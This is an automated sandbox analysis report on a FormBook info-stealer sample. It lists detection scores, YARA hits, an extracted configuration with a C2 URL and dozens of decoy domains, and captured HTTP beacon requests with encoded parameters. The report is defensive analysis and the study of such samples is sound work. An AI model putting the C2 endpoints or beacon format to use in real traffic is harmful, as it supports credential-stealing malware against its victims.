Analysis Report 1cec9342_by_Libranalysis

AV Detection:

Found malware configuration

Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.nobleandmarble.com/or4i/"], "decoy": ["cylindberg.com", "qsmpy.world", "hairmaxxclinic.com", "teesfitpro.com", "changethecompany.net", "painteredmond.com", "shebagholdings.com", "wasteexport.com", "salesclerkadage.life", "rainboxs.com", "lingoblasterdiscount.com", "booweats.com", "topcasino-111.com", "downtoearthwork.com", "carry-hai.com", "nassaustreetcorp.com", "directflence.com", "basictrainningphothos.com", "virtualayurveda.com", "dar-sanidad.com", "businessenglish.company", "safegrinder.com", "blissfulyogamullicahill.com", "smartmatch-dating-api.com", "heaset.com", "fingerpointingimp.com", "rogersbeefarm.com", "guysgunsandcountry.com", "attackbit.com", "bawalturki.com", "goodmanifest.com", "healshameyoga.com", "citiphoneonline.com", "canaltransportllc.com", "theflagdude.com", "mmgenius.com", "ikeberto.com", "sky-cargo.net", "tecquestrian.com", "ashleylovica.com", "contorig2.com", "nowhealthdays.com", "dadaoliangpi.com", "three.guide", "anoussa.com", "fanyingfu001.com", "matthewdimartino.com", "ventadearticulosreligiosos.com", "collegesupermatch.com", "king-jackpot.com", "puppillows.store", "woodforsmoke.com", "globaltradesclub.com", "flipkart-max-sale.xyz", "carlyle-cocao.com", "cuntrera.com", "sadafalbahariq.com", "spmomgoals.com", "mk-365.com", "yanghuoquan.com", "xn--espacesacr-k7a.com", "pidelodirecto.com", "0o-a-8v4l76.net", "aqayeseo.com"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9o92aq2mtu.dll	Metadefender: Detection: 26%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9o92aq2mtu.dll	ReversingLabs: Detection: 58%

Multi AV Scanner detection for submitted file

Source: 1cec9342_by_Libranalysis.exe	Virustotal: Detection: 54%			Perma Link
Source: 1cec9342_by_Libranalysis.exe	Metadefender: Detection: 20%			Perma Link
Source: 1cec9342_by_Libranalysis.exe	ReversingLabs: Detection: 82%

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Source: 1cec9342_by_Libranalysis.exe

Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Source: 1cec9342_by_Libranalysis.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 1cec9342_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000002.919087839.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 1cec9342_by_Libranalysis.exe, 00000000.00000003.645751865.000000001EC00000.00000004.00000001.sdmp, 1cec9342_by_Libranalysis.exe, 00000001.00000002.693732282.0000000000B0F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.907697091.00000000037E0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 1cec9342_by_Libranalysis.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693987573.0000000000D60000.00000040.00000001.sdmp
Source:	Binary string: wlanext.pdbGCTL source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693987573.0000000000D60000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000002.919087839.0000000005A00000.00000002.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,		0_2_0040646B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004058BF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_004027A1 FindFirstFileA,		0_2_004027A1

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 4x nop then pop ebx		1_2_00406A95
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 4x nop then pop ebx		1_1_00406A95
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 4x nop then pop ebx		7_2_01036A95

Networking:

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.nobleandmarble.com/or4i/

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=br7cblkv9ontd/SiGgT+XZDl5pRbJS2ewUI6yLIzIbkbVffvtcdgNY0Hgbt3ntXhEXSG HTTP/1.1Host: www.healshameyoga.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=iur2w+iIhsR226mwIbytM77gwZtRr9g6xSmsh16YEl1oNNyvhmb6qr2bTjtOXqdr6kbB&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.rogersbeefarm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=Nfl9li5qPifS0qmI3oGyYt+1WQBc6+s+CWT3m3ZkN/MuRx1xa905Jr26QEss+PYMzBmi HTTP/1.1Host: www.nowhealthdays.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=9uknvSs0D9sRUbKPNEJc//q5kM+rT7HBD1bOe0TigX7EwC/pCwMCwQN4ECUA0466XB/p&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.ikeberto.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=XZ5egFlM4LuR7juc0UFP6fai+XX2I8SV8Ur1Ieq3oNzW4b+OCSm6ABQPGtFRxJXr06kx HTTP/1.1Host: www.directflence.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=kdp3FbqcdOoi47L6CSewezhnIrd3vGjo7ZesdbmmEgh4+nsMxNwHdMyhwqYehAYq5sNV&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.mmgenius.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=+ijMlDuYhuzidrLjkbi+elVKZ7K6phzLRhFwzYI2MHaYrqu+hiZ6wsf57yroxB2MR5WJ HTTP/1.1Host: www.rainboxs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=xTiNYjpz6T1Ak7oOPc1RU9z7aC84W9njSzpqqU4XaljqjdkzZuZgpX+EsFAQyzNyJi0r&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.nobleandmarble.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=bE8h/5YlyIaGfqFoj5Gnx56lPI3pmXv2ej3H/Ly1qjs4t+LIMarOZaaU3+bG1fp/+sg3&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.safegrinder.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=1XIvg6XU5vVZMvk0S+FgKHUoBBBn1K6+BdhisE+/5jtYq3yTMpA8lYHSBxv+eIZJV1A/ HTTP/1.1Host: www.tecquestrian.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=qot6XnlSyPOFXuVGORD9CEtZEU4GG3KqT75/dB/Qk/mHCfMLKHKtxcGvS1QI8r/8KBX8&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.booweats.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=oJz4pJjdv4YVSt0+MmS2FtCA6v4cV0g87aIryYx21PY21L+ds7v/9rK+HMpewy0ytB7Z HTTP/1.1Host: www.cuntrera.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=s0IAE6utMOpEbBTXfVBtMvohtOMhwSGLvfPwlSEa+yA+XVzrnw8OQ7eif0DqkxnFDccR HTTP/1.1Host: www.changethecompany.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 3.16.197.4 3.16.197.4
Source: Joe Sandbox View	IP Address: 23.227.38.74 23.227.38.74

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: POWERLINE-AS-APPOWERLINEDATACENTERHK POWERLINE-AS-APPOWERLINEDATACENTERHK

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=br7cblkv9ontd/SiGgT+XZDl5pRbJS2ewUI6yLIzIbkbVffvtcdgNY0Hgbt3ntXhEXSG HTTP/1.1Host: www.healshameyoga.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=iur2w+iIhsR226mwIbytM77gwZtRr9g6xSmsh16YEl1oNNyvhmb6qr2bTjtOXqdr6kbB&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.rogersbeefarm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=Nfl9li5qPifS0qmI3oGyYt+1WQBc6+s+CWT3m3ZkN/MuRx1xa905Jr26QEss+PYMzBmi HTTP/1.1Host: www.nowhealthdays.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=9uknvSs0D9sRUbKPNEJc//q5kM+rT7HBD1bOe0TigX7EwC/pCwMCwQN4ECUA0466XB/p&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.ikeberto.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=XZ5egFlM4LuR7juc0UFP6fai+XX2I8SV8Ur1Ieq3oNzW4b+OCSm6ABQPGtFRxJXr06kx HTTP/1.1Host: www.directflence.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=kdp3FbqcdOoi47L6CSewezhnIrd3vGjo7ZesdbmmEgh4+nsMxNwHdMyhwqYehAYq5sNV&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.mmgenius.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=+ijMlDuYhuzidrLjkbi+elVKZ7K6phzLRhFwzYI2MHaYrqu+hiZ6wsf57yroxB2MR5WJ HTTP/1.1Host: www.rainboxs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=xTiNYjpz6T1Ak7oOPc1RU9z7aC84W9njSzpqqU4XaljqjdkzZuZgpX+EsFAQyzNyJi0r&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.nobleandmarble.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=bE8h/5YlyIaGfqFoj5Gnx56lPI3pmXv2ej3H/Ly1qjs4t+LIMarOZaaU3+bG1fp/+sg3&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.safegrinder.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=1XIvg6XU5vVZMvk0S+FgKHUoBBBn1K6+BdhisE+/5jtYq3yTMpA8lYHSBxv+eIZJV1A/ HTTP/1.1Host: www.tecquestrian.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?HFQDEL_8=qot6XnlSyPOFXuVGORD9CEtZEU4GG3KqT75/dB/Qk/mHCfMLKHKtxcGvS1QI8r/8KBX8&4h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1Host: www.booweats.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=oJz4pJjdv4YVSt0+MmS2FtCA6v4cV0g87aIryYx21PY21L+ds7v/9rK+HMpewy0ytB7Z HTTP/1.1Host: www.cuntrera.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=s0IAE6utMOpEbBTXfVBtMvohtOMhwSGLvfPwlSEa+yA+XVzrnw8OQ7eif0DqkxnFDccR HTTP/1.1Host: www.changethecompany.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: www.healshameyoga.com

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Founddate: Wed, 12 May 2021 18:03:26 GMTserver: Apacheaccept-ranges: bytestransfer-encoding: chunkedcontent-type: text/htmlconnection: closeData Raw: 32 31 36 38 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a

URLs found in memory or binary data

Source: wlanext.exe, 00000007.00000002.908237231.0000000003E92000.00000004.00000001.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 1cec9342_by_Libranalysis.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: 1cec9342_by_Libranalysis.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000004.00000000.656903720.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.675439784.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: wlanext.exe, 00000007.00000002.908237231.0000000003E92000.00000004.00000001.sdmp	String found in binary or memory: https://sedo.com/search/details/?partnerid=324561&language=it&domain=booweats.com&origin=sales_lande

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_0040535C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040535C

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
